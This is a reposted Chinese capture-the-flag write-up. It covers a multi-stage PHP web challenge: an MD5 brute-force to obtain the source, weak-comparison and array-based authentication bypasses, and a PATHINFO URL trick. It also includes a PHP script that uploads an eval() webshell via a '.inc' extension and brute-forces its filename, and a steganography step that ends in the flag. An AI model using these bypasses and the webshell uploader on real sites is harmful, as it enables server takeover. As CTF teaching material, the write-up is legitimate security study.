0

0

三個白帽-条条大路通罗马系列2-Writeup

php中文网

php中文网

发布时间:2016-06-20 12:28:03

|

1799人浏览过

|

来源于php中文网

原创

0x00 前言

好好的Web咋變成了misc?友谊小船,說翻就翻!!!!

http://4e79618700b44607c.jie.sangebaimao.com

0x01 獲取源碼

沒有Tips的代碼審計題,源碼獲取必定是第一關。右鍵看源碼,沒東西,看看header頭,果然有蹊蹺。

Set-Cookie source=WXpOV2FXTXpVbmxMUnpGclRsTm5hMWd3WkVaV1JuTnVZekk1TVdOdFRteEtNVEJ3VEVSTmMwNXBhemxRVTBrMFRWZEZNRTFxWTJr

於是乎,解得

#!phpsubstr(md5($_GET['source']),3,6)=="81a427"

這個好熟悉的趕腳,在BCTF2016的homework出現過,雖然有點不同。立馬祭出神器

#!python#!/bin/env python#-*- encoding: utf-8 -*-import md5def mx(str):    m1 = md5.new()       m1.update(str)       return m1.hexdigest()if __name__ == '__main__':    m = '81a427'    for x in range(1,100000000):        a = mx(str(x))[3:9]        if a == m:            print x            break

跑出 47733

/index.php?source=47733

即可得到源碼包的下載地址 /WoShiYuanMa_SGBM.zip

0x02 登陸的腦洞

#!php$password = unserialize($_POST['password']);if($_POST['username']='admin' && $password['username'] !== 'admin' && $password['password'] !== 'admin'){    if ($password['username'] == 'admin' && $password['password']=='admin') {        $_SESSION['login'] = 1;        echo "<center style="font-size:36px;"><a href="main.php">Click jump to the Backstage</a></center>";    }

一開始以為是 unserialize的腦洞,仔細看看代碼才發現是php的特性雙等號(==)的弱類型轉換漏洞。

#!php(0 == "str")=>true(0 === "str")=>false

即構造POST:

username=admin&password=a:2:{s:8:"username";i:0;s:8:"password";i:0;}&submit=1

成功擼過~

0x03 二次驗證

#!phpif (isset($_POST['salt'])){    if (ereg("^[a-zA-Z0-9]+$", $_POST['salt']) === FALSE)    {        exit('ereg');    }    elseif (strlen($_POST['salt']) < 11 && $_POST['salt'] > 999999999)    {        if (strpos($_POST['salt'], '*SGBM*') !== FALSE)        {            $_SESSION['admin'] = 1;            echo "<center style="font-size:36px;"><a href="./admin/index.php">Click jump to the Backstage</a></center>";        }

咋一看、好像很難的樣子。

ereg處理數組會得到 NULL,

同樣 strlen處理數組也會得到 NULL,

array() > int可以得到 true,

strpos處理數組也會得到 NULL

即構造POST:

salt[]=v&submit=1

再次完美擼過。

然而最后官方的出题思路是:

bypass ereg函数了,查到了用%00

然后,根据php特性: 9e9 > 999999999

得到: salt=9e9%00*SGBM*

0x04 PATHINFO模式

#!php$URL = $_SERVER['REQUEST_URI'];$matches = array();preg_match('/^([a-z/.]+)$/', $URL, $matches); if(strpos($URL, './') !== FALSE){    exit('./');}else if(strpos($URL, '\') !== FALSE){    exit('\');}else if(empty($matches) || $matches[1] != $URL){    exit('empty($matches) || $matches[1] != $URL');} else if(strpos($URL, '//') !== FALSE){    exit('//');} else if(substr($URL, -10) !== '/index.php'){    exit('substr($URL, -10) !== '/index.php'');} else if(strpos($URL, 'p.') !== FALSE){    exit('p.');} else if($URL == '/admin/index.php'){    exit('$URL == '/admin/index.php'');}else {    if($URL !== '/admin/index.php'){        $_SESSION['power'] = 1;        exit("<center style="font-size:36px;"><a href="upload.php">Click jump to the Backstage</a></center>");    }}

一開始各種繞過,始終無解,後來得到大神的Tips。

還是缺乏經驗啊~

LN牛的提示:

索题小二(516421987) 2016-05-20 1:12:49多点框架经验应该能猜到

果斷百度到 PATHINFO模式

MyMap AI
MyMap AI

使用AI将想法转化为图表

下载

URL: /admin/index.php/admin/index.php

成功擼過~

0x05 上傳之fuzz後綴

#!phpif($_FILES["file"]['size'] > 0 && $_FILES["file"]['size'] < 102400) {    $typeAccepted = ["image/jpeg", "image/gif", "image/png"];    $blackext = ["php", "php3", "php4", "php5", "pht", "phtml", "phps"];//总有一款适合你    $filearr = pathinfo($_FILES["file"]["name"]);    if(!in_array($_FILES["file"]['type'], $typeAccepted)) {        exit("type error");    }    if(in_array($filearr["extension"], $blackext)) {        exit("extension error");    }    $filename = md5(time().rand(10, 99)) . "." . $filearr["extension"];    $destination_folder = '../uploads/';    $destination_folder .= date('Y', time()) . "/" . date('m', time()) . "/";    $file_name_path = $destination_folder.$filename;    if (!file_exists($destination_folder)) mkdir('./' . $destination_folder, 0777, true);    if (move_uploaded_file($_FILES["file"]['tmp_name'], $file_name_path)) {        exit('upload success!');    } else {        exit('upload false!');    }}

逆天的黑名單: $blackext = ["php", "php3", "php4", "php5", "pht", "phtml", "phps"];

噁心的文件名 $filename = md5(time().rand(10, 99)) . "." . $filearr["extension"];

靠的就是Fuzz後綴名。

一開始猜測是能執行解析的後綴名,然而基本上都過濾了。最後才想到還有一個inc的後綴。

要不是我前不久折騰過Phar包、我還不會想起有這個麼和php相關的後綴名。

#!php<?php$phar = new Phar('virink.phar', 0, 'virink.phar');$phar->buildFromDirectory(dirname(__FILE__) . '/virink');$phar->setStub($phar->createDefaultStub('virink.php', 'virink.php'));$phar->compressFiles(Phar::GZ);?>

生成一個 virink.phar文件,你就會發現

#!phpExtract_Phar::go(true);$mimes = array('phps' => 2,...,'xsd' => 'text/plain','php' => 1,'inc' => 1,'avi' => 'video/avi',...

若以,測試了下inc後綴,果真能夠執行。

出題人的腦洞果然牛逼。

關於文件名爆破,一開始Fuzz的時候、因為懶,所以順手寫了個PHP腳本的POC

#!php<?phpdate_default_timezone_set('UTC');error_reporting(0);function fuck($ext, $contents){    $u = "4e79618700b44607c.jie.sangebaimao.com";    $key = "file";filename=shell.$ext
Content-Type:image/jpeg
v:v";      $fields[$key] = $contents;    $ch = curl_init();    curl_setopt($ch,CURLOPT_URL,"http://".$u."/admin/upload.php");    curl_setopt($ch,CURLOPT_HEADER,true);    curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);    curl_setopt($ch,CURLOPT_POST,true);    curl_setopt($ch,CURLOPT_POSTFIELDS,$fields);    curl_setopt($ch,CURLOPT_BINARYTRANSFER,true);    curl_setopt($ch, CURLOPT_COOKIE, 'YOU COOKIE');    $result = curl_exec($ch);    curl_close($ch);    $tt = substr($result,strpos($result,'Date')+11,20);    $t = strtotime($tt);    if(strpos($result,'success') === FALSE)        die('error');    for($i = 10; $i<100;$i++){        $url = "http://".$u."/uploads/2016/05/".md5($t.$i).'.'.$ext;        $f = file_get_contents($url);        if ($f && strpos($f,'virink') !== FALSE){            print $url;            break;        }    }}$contents =<<<TEXT<?php eval($_POST[999]);?>virinkTEXT;$ext = 'inc';fuck($ext, $contents);?>

代碼有點不簡潔、、懶得改了,將就著用吧。

成功getshell~~

0x06 什麼鬼?Misc

getshell之後果真很蛋疼,很奔溃!

imstudy(214329772) 1:44:30我都说拿完shell内心是奔溃的了,你竟然不信我

沒錯, imstudy就是出題人,少年,拿起你手中的狼牙棒,保證不打死就可以了~~

菜刀練上去,發現 /var/www/目錄下是一個圖片 flag.jpg

神器 Stegsolve + WinHex,提取出來一個壓縮包,,裏面是一個flag.txt。

然而還不是真正的flag,反而是N多汗(x,y,z)格式的東西。0-255之間,猜測是RGB值。

這可能要畫圖。

統計了一下行數、還不是正規的正方形尺寸。

默默折騰出一個POC,完美折騰出圖片。

#!python#!/bin/env python#-*- encoding: utf-8 -*-# __author__ : Virinkfrom PIL import Imageimport mathif __name__ == '__main__':    count = len(open('flag.txt','r').readlines())    j = int(math.sqrt(count))    i = j+2    for k in range(0,i/4):        sx = i-k        sy = j+k        if (sx * sy) == count:            break    c = Image.new("RGB",(sx,sy))    file = open('flag.txt')    for x in range(0,sx):        for y in range(0,sy):            line = file.readline()#获取一行            rgb = line.split(",")#分离rgb            c.putpixel((x,y),(int(rgb[0]),int(rgb[1]),int(rgb[2])))    c.show()    c.save("flag.png")

通關,此時此刻,我的內心依舊崩潰中!

FLAG : miao{fb49ac8a528901913ea2c664c6a8d6a1}

本站声明:本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn

热门AI工具

更多
DeepSeek
DeepSeek

幻方量化公司旗下的开源大模型平台

豆包大模型
豆包大模型

字节跳动自主研发的一系列大型语言模型

通义千问
通义千问

阿里巴巴推出的全能AI助手

腾讯元宝
腾讯元宝

腾讯混元平台推出的AI助手

文心一言
文心一言

文心一言是百度开发的AI聊天机器人,通过对话可以生成各种形式的内容。

讯飞写作
讯飞写作

基于讯飞星火大模型的AI写作工具,可以快速生成新闻稿件、品宣文案、工作总结、心得体会等各种文文稿

即梦AI
即梦AI

一站式AI创作平台,免费AI图片和视频生成。

ChatGPT
ChatGPT

最最强大的AI聊天机器人程序,ChatGPT不单是聊天机器人,还能进行撰写邮件、视频脚本、文案、翻译、代码等任务。

相关专题

更多
pixiv网页版官网登录与阅读指南_pixiv官网直达入口与在线访问方法
pixiv网页版官网登录与阅读指南_pixiv官网直达入口与在线访问方法

本专题系统整理pixiv网页版官网入口及登录访问方式,涵盖官网登录页面直达路径、在线阅读入口及快速进入方法说明,帮助用户高效找到pixiv官方网站,实现便捷、安全的网页端浏览与账号登录体验。

463

2026.02.13

微博网页版主页入口与登录指南_官方网页端快速访问方法
微博网页版主页入口与登录指南_官方网页端快速访问方法

本专题系统整理微博网页版官方入口及网页端登录方式,涵盖首页直达地址、账号登录流程与常见访问问题说明,帮助用户快速找到微博官网主页,实现便捷、安全的网页端登录与内容浏览体验。

135

2026.02.13

Flutter跨平台开发与状态管理实战
Flutter跨平台开发与状态管理实战

本专题围绕Flutter框架展开,系统讲解跨平台UI构建原理与状态管理方案。内容涵盖Widget生命周期、路由管理、Provider与Bloc状态管理模式、网络请求封装及性能优化技巧。通过实战项目演示,帮助开发者构建流畅、可维护的跨平台移动应用。

64

2026.02.13

TypeScript工程化开发与Vite构建优化实践
TypeScript工程化开发与Vite构建优化实践

本专题面向前端开发者,深入讲解 TypeScript 类型系统与大型项目结构设计方法,并结合 Vite 构建工具优化前端工程化流程。内容包括模块化设计、类型声明管理、代码分割、热更新原理以及构建性能调优。通过完整项目示例,帮助开发者提升代码可维护性与开发效率。

20

2026.02.13

Redis高可用架构与分布式缓存实战
Redis高可用架构与分布式缓存实战

本专题围绕 Redis 在高并发系统中的应用展开,系统讲解主从复制、哨兵机制、Cluster 集群模式及数据分片原理。内容涵盖缓存穿透与雪崩解决方案、分布式锁实现、热点数据优化及持久化策略。通过真实业务场景演示,帮助开发者构建高可用、可扩展的分布式缓存系统。

26

2026.02.13

c语言 数据类型
c语言 数据类型

本专题整合了c语言数据类型相关内容,阅读专题下面的文章了解更多详细内容。

29

2026.02.12

雨课堂网页版登录入口与使用指南_官方在线教学平台访问方法
雨课堂网页版登录入口与使用指南_官方在线教学平台访问方法

本专题系统整理雨课堂网页版官方入口及在线登录方式,涵盖账号登录流程、官方直连入口及平台访问方法说明,帮助师生用户快速进入雨课堂在线教学平台,实现便捷、高效的课程学习与教学管理体验。

14

2026.02.12

豆包AI网页版入口与智能创作指南_官方在线写作与图片生成使用方法
豆包AI网页版入口与智能创作指南_官方在线写作与图片生成使用方法

本专题汇总豆包AI官方网页版入口及在线使用方式,涵盖智能写作工具、图片生成体验入口和官网登录方法,帮助用户快速直达豆包AI平台,高效完成文本创作与AI生图任务,实现便捷智能创作体验。

524

2026.02.12

PostgreSQL性能优化与索引调优实战
PostgreSQL性能优化与索引调优实战

本专题面向后端开发与数据库工程师,深入讲解 PostgreSQL 查询优化原理与索引机制。内容包括执行计划分析、常见索引类型对比、慢查询优化策略、事务隔离级别以及高并发场景下的性能调优技巧。通过实战案例解析,帮助开发者提升数据库响应速度与系统稳定性。

53

2026.02.12

热门下载

更多
网站特效
/
网站源码
/
网站素材
/
前端模板

精品课程

更多
相关推荐
/
热门推荐
/
最新课程
关于我们 免责申明 举报中心 意见反馈 讲师合作 广告合作 最新更新
php中文网:公益在线php培训,帮助PHP学习者快速成长!
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送

Copyright 2014-2026 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号